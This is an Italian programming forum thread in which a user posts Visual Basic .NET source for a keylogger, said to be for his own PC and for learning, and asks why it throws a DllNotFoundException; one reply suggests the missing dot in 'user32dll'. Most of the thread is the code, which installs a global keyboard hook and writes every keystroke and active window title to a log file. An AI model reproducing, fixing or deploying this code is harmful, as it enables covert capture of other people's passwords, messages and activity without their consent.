creazione Keylogger in vb (scopo didattico) problema

"Null reference exception"? no, grazie, prendo un "unexpected T_VARIABLE"... Questo è il forum per imparare l'arte della programmazione o per chiedere un parere su una sessione di debug particolarmente ostica.
Regole del forum
Ricorda di indicare chiaramente nell'oggetto il linguaggio ([C#] oppure [PHP], [Java], [HTML], ...), se la discussione ne riguarda uno in particolare!
Rispondi
Avatar utente
KillerPenguin
Livello: DVD-ROM (5/15)
Livello: DVD-ROM (5/15)
Messaggi: 111
Iscritto il: mar mag 07, 2013 12:30 am
Contatta:

creazione Keylogger in vb (scopo didattico) problema

Messaggio da KillerPenguin »

ho la necessità di usare un software Keylogger per registrare tutto ciò che digito sul mio pc personale così, ho scelto di seguire questo video perchè mi piaceva il fatto che registrasse anche l'applicazione in cui sto scrivendo. quindi ho usato questo codice:

Codice: Seleziona tutto

Imports System.IO
Imports Microsoft.Win32
Public Class Form1
    Dim WithEvents k As New Keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32dll" Alias " GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing
    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        k.DiposeHook()
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        TextBox1.Text = TextBox1.Text + Now()
        IO.Directory.CreateDirectory("C:\KeyLogger log")
        IO.File.AppendAllText("C:\KeyLogger log\log.txt", "---------------" + vbNewLine + "Keylogger strokes" + Now() + vbNewLine + "---------------" + vbNewLine + vbNewLine)
        k.CreateHook()
        Timer1.Start()
    End Sub
    Private Sub K_Down(ByVal Key As String) Handles k.Down
        TextBox1.Text &= Key
        IO.File.AppendAllText("C:\KeyLogger log\log.txt", Key)
    End Sub
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine + GetActiveWindowTitle() + vbNewLine
            IO.File.AppendAllText("C:\KeyLogger log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
            strin = GetActiveWindowTitle()
        End If
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        k.CreateHook()
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        k.DiposeHook()
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        IO.File.AppendAllText("C:\KeyLogger log\log.txt", TextBox1.Text)
    End Sub
End Class
ed ho creato una classe di nome Keyboard, il suo contenuto:

Codice: Seleziona tutto

Public Class Keyboard
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel
    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)
        Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
    End Sub
 
    Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
        If (Code = 0) Then
            Select Case wParam
                Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
                Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
            End Select
        End If
        Return CallNextHookEx(Key, Code, wParam, lParam)
    End Function
    Public Sub DiposeHook()
        UnhookWindowsHookEx(Key)
        MyBase.Finalize()
    End Sub
    Private Function Feed(ByVal e As Keys) As String
        Select Case e
            Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 48 To 57
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "D1" : Return "!"
                        Case "D2" : Return "@"
                        Case "D3" : Return "#"
                        Case "D4" : Return "$"
                        Case "D5" : Return "%"
                        Case "D6" : Return "^"
                        Case "D7" : Return "&"
                        Case "D8" : Return "*"
                        Case "D9" : Return "("
                        Case "D0" : Return ")"
                    End Select
                Else
                    Return e.ToString.Replace("D", Nothing)
                End If
            Case 96 To 105
                Return e.ToString.Replace("NumPad", Nothing)
            Case 106 To 111
                Select Case e.ToString
                    Case "Divide" : Return "/"
                    Case "Multiply" : Return "*"
                    Case "Subtract" : Return "-"
                    Case "Add" : Return "+"
                    Case "Decimal" : Return "."
                End Select
            Case 32
                Return " "
            Case 186 To 222
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "OemMinus" : Return "_"
                        Case "Oemplus" : Return "+"
                        Case "OemOpenBrackets" : Return "{"
                        Case "Oem6" : Return "}"
                        Case "Oem5" : Return "|"
                        Case "Oem1" : Return ":"
                        Case "Oem7" : Return """"
                        Case "Oemcomma" : Return "<"
                        Case "OemPeriod" : Return ">"
                        Case "OemQuestion" : Return "?"
                        Case "Oemtilde" : Return "~"
                    End Select
                Else
                    Select Case e.ToString
                        Case "OemMinus" : Return "-"
                        Case "Oemplus" : Return "="
                        Case "OemOpenBrackets" : Return "["
                        Case "Oem6" : Return "]"
                        Case "Oem5" : Return "\"
                        Case "Oem1" : Return ";"
                        Case "Oem7" : Return "'"
                        Case "Oemcomma" : Return ","
                        Case "OemPeriod" : Return "."
                        Case "OemQuestion" : Return "/"
                        Case "Oemtilde" : Return "`"
                    End Select
                End If
            Case Keys.Return
                Return Environment.NewLine
            Case Else
                Return "<" + e.ToString + ">"
        End Select
        Return Nothing
    End Function
End Class
il problema è che ricevo il seguente errore riferita alla stringa di codice "GetWindowText(GetForegroundWindow, MyStr, 100)"
Eccezione non gestita di tipo 'System.DllNotFoundException' in cazzeggio2.exe

Informazioni aggiuntive: Impossibile caricare la DLL 'user32dll': Impossibile trovare il modulo specificato. (Eccezione da HRESULT: 0x8007007E).
allego inoltre il mio progetto in visual studio 2012 Download, spero potrete darmi una mano
ho deciso di scriverlo io stesso per essere sicuro che i miei dati non finissero in mani sbagliate.

P.S. ho parlato con Andy94 per sapere se potevo scrivere questo post e mi ha detto di esplicitare che è per scopo puramente didattico
www.TheKillerPenguin.Altervista.org
System
System
Bot ufficiale TurboLab.it
Bot
Messaggi:
Iscritto il: sab dic 31, 2016 6:19 pm
Contatta: Contatta

Re: creazione Keylogger in vb (scopo didattico) problema

Messaggio da System » gio ott 31, 2013 6:31 pm


Avatar utente
Berga
Livello: DVD-ROM (5/15)
Livello: DVD-ROM (5/15)
Messaggi: 100
Iscritto il: sab mag 04, 2013 1:09 pm

Re: creazione Keylogger in vb (scopo didattico) problema

Messaggio da Berga »

La butto un po' lì, non è che a

Codice: Seleziona tutto

GetWindowText Lib "user32dll"
manca il punto tra user32 e dll?
~
Avatar utente
KillerPenguin
Livello: DVD-ROM (5/15)
Livello: DVD-ROM (5/15)
Messaggi: 111
Iscritto il: mar mag 07, 2013 12:30 am
Contatta:

Re: creazione Keylogger in vb (scopo didattico) problema

Messaggio da KillerPenguin »

Niente, ricevo sempre lo stesso errore :evil:
www.TheKillerPenguin.Altervista.org
System
System
Bot ufficiale TurboLab.it
Bot
Messaggi:
Iscritto il: sab dic 31, 2016 6:19 pm
Contatta: Contatta

Re: Re: creazione Keylogger in vb (scopo didattico) problema

Messaggio da System » lun dic 23, 2013 8:02 pm


Rispondi
  • Argomenti simili
    Risposte
    Visite
    Ultimo messaggio